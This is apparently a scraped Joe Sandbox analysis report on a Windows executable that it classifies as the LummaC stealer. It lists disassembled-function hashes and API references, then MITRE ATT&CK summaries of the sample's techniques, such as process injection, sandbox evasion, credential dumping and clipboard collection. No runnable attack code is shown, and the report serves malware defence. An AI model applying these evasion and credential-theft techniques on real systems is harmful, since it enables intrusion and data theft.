Instruction ID: 269e560f306471dbf4f926d556c214c1b8d4480078134a9f80052ffa7697792d
Opcode Fuzzy Hash: 4dad0c9aa33d29f89da7ddf1a103604b2576d04cc39ba91dbcb2c7ad8d737b53
Instruction Fuzzy Hash: 87610772E183918BD324CB29CC4179FB6E29FD5304F1AC93ED4C8A7385EA7D48058B86

Function 00433820 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8560b928c5a5c0cc8f00d126c2ef8fb1b8e7dd857e1b8a84be30a049a0e531
Instruction ID: a0732d9c9d085ed6869b74047dd4be97526dd091a26a9219937288e5a4e76cc4
Opcode Fuzzy Hash: 0d8560b928c5a5c0cc8f00d126c2ef8fb1b8e7dd857e1b8a84be30a049a0e531
Instruction Fuzzy Hash: 65511537B59A9047D3289D3C5C5236A6A830FDB235F3CD36EA5F18B3E1C56D8A064249

Function 00431790 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b95774c77e6187e042d6b6789570a099a14084d567ba6b57b9baf91a8d41822
Instruction ID: 514272f347bebea500bc6b47991b28c5d4c97069002e6be39b5fea5bff12fb23
Opcode Fuzzy Hash: 8b95774c77e6187e042d6b6789570a099a14084d567ba6b57b9baf91a8d41822
Instruction Fuzzy Hash: 68512826A4D9D047E32D5A3C5C6037A6A824F9B334F2DA77FD5F2473F1C54A4806835A

Function 00404880 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5db9934ff1273962913b1394ac0c6e4b3ddb1b8b20ada0cd99333b0f25a5a3f
Instruction ID: e2098fc68c47c9cf92a7bc2e2230b80980739b89541d4611e446bb22ca149771
Opcode Fuzzy Hash: e5db9934ff1273962913b1394ac0c6e4b3ddb1b8b20ada0cd99333b0f25a5a3f
Instruction Fuzzy Hash: C871CC79618702CFDB08CF28E85139A77E0FB8A355F05897DE88487282C7B9C955CF95

Function 00438650 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066fc37291c9f9dd355c26c9b3030ec2df02353854a1d19a01af866dc0a88e35
Instruction ID: c1989c0424295da11f0c031adcb749d92472a1ee12e930c38cdc76f637e1cfea
Opcode Fuzzy Hash: 066fc37291c9f9dd355c26c9b3030ec2df02353854a1d19a01af866dc0a88e35
Instruction Fuzzy Hash: A5516CB15087548FE314DF29D89435BFBE1BBC8318F444A2EE4E987350E779DA088B96

Function 0042C1F0 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ec5854972c82a6171acf6841bcfc3108c68ed06db64fba700098dff25ceeb
Instruction ID: 8c8bdc24d3549e41509688f94ef0cf71c9f2749fc9add468a239212c5bf19404
Opcode Fuzzy Hash: a72ec5854972c82a6171acf6841bcfc3108c68ed06db64fba700098dff25ceeb
Instruction Fuzzy Hash: 12316BB3E14A3C0BD7184D2DAC1523A76825BD9151F8E83BEEC6A9F3C6DE349C1592D0

Function 0043BE60 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4bf6699087bbf7a6d6c4653a0dd2fa23076d8b5e6d205b49212875ad22c7155
Instruction ID: 48c9e24cb2200fcc0e25af041a8aa1bf8f2a9d158c49a0d10325f95c94b96655
Opcode Fuzzy Hash: d4bf6699087bbf7a6d6c4653a0dd2fa23076d8b5e6d205b49212875ad22c7155
Instruction Fuzzy Hash: C63104719093189BD310CF29C88176BBBE5EB8A718F14E82EF5849B351C3798C45CBDA

Function 00440F70 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 78b514eef3afd0df77dda156a2d91060ae23887dc0d964014c2cb157f55a0147
Instruction ID: 52315a03ae529bc232a045b8247879fa47a50522d5bb2847ccda9ee888832213
Opcode Fuzzy Hash: 78b514eef3afd0df77dda156a2d91060ae23887dc0d964014c2cb157f55a0147
Instruction Fuzzy Hash: C221BB75B002415BE7248F24DC8176BB7A2EBC6308F28842EE58087361EA3888948749

Function 004268D0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b72ffd91817de40dc7ff1f755b9dba7a4cdff64d013270f82d1e06fe7044470
Instruction ID: 7491acd7365994fd6c89b93442619508014aed4e0c8f741bbe8d9d8ed6016634
Opcode Fuzzy Hash: 7b72ffd91817de40dc7ff1f755b9dba7a4cdff64d013270f82d1e06fe7044470
Instruction Fuzzy Hash: 5211273570A250DFC7048F65E890637B3A2FBE6351FA9183DE4C557222C731AC82CB49

Function 0040D80D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b28183ed16e64fd98bd1c6a86776c3e4061195dd9106b9943ef16c6bbe5484b
Instruction ID: 9319b3026bf4e4a7ba7438ba5bf4c43f7891aadc3dbee6151d0fe5fcef6d3aee
Opcode Fuzzy Hash: 4b28183ed16e64fd98bd1c6a86776c3e4061195dd9106b9943ef16c6bbe5484b
Instruction Fuzzy Hash: 0B213536E053404BE354DB59C84273BB3A3AFC2310F28D82DD19AA3291DB799C05874A

Function 00435CC0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 50183f55b98076c03bd49f0a2014896b20a3f1acca777c09a71f4c64768d4c09
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: F6114833A055D00EC3168D3C8444566BFA30AA7234F6DD39AF4F99B2D2D6278D8B8369

Function 0042B4E0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a84b9b61d851313882d9d7b316dd99cbb60904fbe9ae12bebbb479acf459418
Instruction ID: f39deade79a72ed3f2939cd8683ac6fdec1403282a7bbbff1acdc67093d58b8a
Opcode Fuzzy Hash: 0a84b9b61d851313882d9d7b316dd99cbb60904fbe9ae12bebbb479acf459418
Instruction Fuzzy Hash: 86019EB570071557DB20AE15A5C1B3BA3A8AF8070CF08443EE8585B342EB79EC44C6E9

Function 0043BFA0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6041cb18e6bce519b16fa37d96830bf08c436fe0e3d6a7e7f2d480a583b4630c
Instruction ID: ec01a0e0fee430ee58b55ac0bd9fcf193403e400b5a5769c19df84137b34a8ae
Opcode Fuzzy Hash: 6041cb18e6bce519b16fa37d96830bf08c436fe0e3d6a7e7f2d480a583b4630c
Instruction Fuzzy Hash: 370149787412448BD2359A92ACC067B7776DBDA358F2DA02EE0801B305C3799C42839D

Function 00405917 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bada103e8df8d443a5f81c007e34c84ace77ecfd7b17b614b8854b519b0417
Instruction ID: be4f3a0677314526c122ec39d1a799f4d03a4cb6b58dd195d0ef49ab6c3f88a7
Opcode Fuzzy Hash: a6bada103e8df8d443a5f81c007e34c84ace77ecfd7b17b614b8854b519b0417
Instruction Fuzzy Hash: CB213B2620E3C09BC3AAC62C54D50AFBEA25EF7100F895D9DF5C21B797C5658858CBA3

Function 00419744 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2a19a0defaac319ff6fe55792d479544da29bbb44c4db1b98aba8564f5d604
Instruction ID: b2ebf36d22e2a41749e48d01f3f49f6bf2fd68077508d70867c63aa75fb688dd
Opcode Fuzzy Hash: 4a2a19a0defaac319ff6fe55792d479544da29bbb44c4db1b98aba8564f5d604
Instruction Fuzzy Hash: 61A001A9C4A40A86D6006E116912079A2789217209F063879944A32153A925E158894E

Function 00432570 Relevance: 75.4, APIs: 1, Strings: 42, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432632

Strings

_, xrefs: 00432833
y, xrefs: 00432763
A, xrefs: 0043264B
A, xrefs: 004327A3
i, xrefs: 004326E3
Q, xrefs: 00432823
P, xrefs: 0043282B
E, xrefs: 00432783
Q, xrefs: 0043265B
K, xrefs: 004327D3
W, xrefs: 004327F3
', xrefs: 004326FB
O, xrefs: 004327B3
', xrefs: 0043270B
G, xrefs: 00432773
), xrefs: 0043268B
S, xrefs: 00432813
>, xrefs: 0043269B
-, xrefs: 0043267B
w, xrefs: 004326F3
k, xrefs: 004326D3
}, xrefs: 00432743
", xrefs: 0043276B
I, xrefs: 004327E3
o, xrefs: 004326B3
, xrefs: 004326DB
M, xrefs: 004327C3
U, xrefs: 00432803
{, xrefs: 00432753
g, xrefs: 00432673
L, xrefs: 0043266B
a, xrefs: 004326A3
u, xrefs: 00432703
q, xrefs: 00432723
?, xrefs: 0043272B
C, xrefs: 00432793
e, xrefs: 00432683
s, xrefs: 00432713
m, xrefs: 004326C3
6, xrefs: 004326EB
c, xrefs: 00432693
0, xrefs: 004328E8

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: $"$'$'$)$-$0$6$>$?$A$A$C$E$G$I$K$L$M$O$P$Q$Q$S$U$W$_$a$c$e$g$i$k$m$o$q$s$u$w$y${$}
API String ID: 2525500382-291393788
Opcode ID: a177d922b364630ab37c4dd4cfb045a71fe3f8d0a99fe129229ee6997d2d0db5
Instruction ID: db3e1b687f9932efa72eaabb65e5ec3ef3843f1ea90aacff3f0915add2827a8d
Opcode Fuzzy Hash: a177d922b364630ab37c4dd4cfb045a71fe3f8d0a99fe129229ee6997d2d0db5
Instruction Fuzzy Hash: 81A10C6050C7C1C9E331C77C884879FBEC12BA2218F188AAED5ED9B3D2D7B945498767

Function 00432CC9 Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 115COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00432CFC

Strings

m, xrefs: 00432D87
k, xrefs: 00432D69
i, xrefs: 00432D73
Q, xrefs: 00432D4B
o, xrefs: 00432D7D
c, xrefs: 00432D91
l, xrefs: 00432D8C
], xrefs: 00432D37
S, xrefs: 00432D41
[, xrefs: 00432D19
Y, xrefs: 00432D23
U, xrefs: 00432D5F
_, xrefs: 00432D2D
W, xrefs: 00432D55

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: Q$S$U$W$Y$[$]$_$c$i$k$l$m$o
API String ID: 1927566239-3562216331
Opcode ID: 50211271e1c99ce76788ad9006bf59c66bb44dd5518859dfd9f32043893e1780
Instruction ID: 90a7d4eb8ba59978fcc594263df10c6d6fc7304988c9f86d2e6bf0cd9fded501
Opcode Fuzzy Hash: 50211271e1c99ce76788ad9006bf59c66bb44dd5518859dfd9f32043893e1780
Instruction Fuzzy Hash: 4A51397250CBD18AD3218B68884838BFFE15BD6314F098A5DE5E84B396C7B58405CBA3

Function 00431DCE Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00431DFD

Strings

i, xrefs: 00431E7B
l, xrefs: 00431E94
m, xrefs: 00431E8F
S, xrefs: 00431E49
], xrefs: 00431E3F
c, xrefs: 00431E99
Q, xrefs: 00431E53
_, xrefs: 00431E35
U, xrefs: 00431E67
[, xrefs: 00431E21
Y, xrefs: 00431E2B
W, xrefs: 00431E5D
k, xrefs: 00431E71
o, xrefs: 00431E85

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: Q$S$U$W$Y$[$]$_$c$i$k$l$m$o
API String ID: 1927566239-3562216331
Opcode ID: a5369504cf0198e8bf32a92f774078360ad6567a02e07ad82f097a4ea1d3d2ed
Instruction ID: 0ed101645c6d4b9b3528239ef15dcf78708f22ad3c5c95531bff850463a9d6ff
Opcode Fuzzy Hash: a5369504cf0198e8bf32a92f774078360ad6567a02e07ad82f097a4ea1d3d2ed
Instruction Fuzzy Hash: 7B413E7151C7C18ED3258A7C885939BFFE15BD6324F098A9DE4E48B3D2C6B98409CB63

Function 00433C20 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 98COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00433C62
GetSystemMetrics.USER32 ref: 00433C72

Strings

AC, xrefs: 00433DD2
)AC, xrefs: 00433D0C
CC, xrefs: 00433DDD
OGC, xrefs: 00433D17
rAC, xrefs: 00433D59
4BC, xrefs: 00433D64

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: MetricsSystem
String ID: )AC$4BC$OGC$rAC$AC$CC
API String ID: 4116985748-2515254364
Opcode ID: 846838a6a6e64da16fb8ec6dbc9fb7a5ca4cef9e988fafd5a3bc44f9c63c842c
Instruction ID: 419b3ef7a499297985d7c0f9453ed3ba88ac74ae5315bf5f9b923f327008d1e5
Opcode Fuzzy Hash: 846838a6a6e64da16fb8ec6dbc9fb7a5ca4cef9e988fafd5a3bc44f9c63c842c
Instruction Fuzzy Hash: BF514AB080E3888FE770DF55C58978FBBE0AB85309F10891ED5885B251CBB95549CFAB

Function 004329D2 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004329DC
VariantInit.OLEAUT32 ref: 004329EF

Strings

R, xrefs: 00432A25
a, xrefs: 00432A61
], xrefs: 00432A1B
S, xrefs: 00432A43
X, xrefs: 00432A2F

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: R$S$X$]$a
API String ID: 2610073882-3248165904
Opcode ID: c45a2e07c17d3e93a3eb350d0ab64e796592d65f7b23e6f0af177ed88ba0cd31
Instruction ID: a8abd366158143ff33f687e52d1551ca91a6777b4816fa2a4fb59e0635c276d0
Opcode Fuzzy Hash: c45a2e07c17d3e93a3eb350d0ab64e796592d65f7b23e6f0af177ed88ba0cd31
Instruction Fuzzy Hash: C3513A7250C7D18AC361DB3C888824BBFD19BDA224F594BADF4F4973E2D67485058B53

Function 0043310D Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043312F

Strings

R, xrefs: 0043316C
a, xrefs: 004331A8
X, xrefs: 00433176
], xrefs: 00433162
S, xrefs: 0043318A

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: R$S$X$]$a
API String ID: 1927566239-3248165904
Opcode ID: 8739bb9315b60169aef92802809546f43bd6157457b7362c95933b2a5fac6ae6
Instruction ID: 47bec046dcba51f8fbf275b4c6997c8f27df24261d589fecfff2726ef463055f
Opcode Fuzzy Hash: 8739bb9315b60169aef92802809546f43bd6157457b7362c95933b2a5fac6ae6
Instruction Fuzzy Hash: B5515A7250C7C18AC361CB3C888424BBFD15B9B224F584B9EF4F48B3E2C76586068B53

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZjH6H6xqo7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

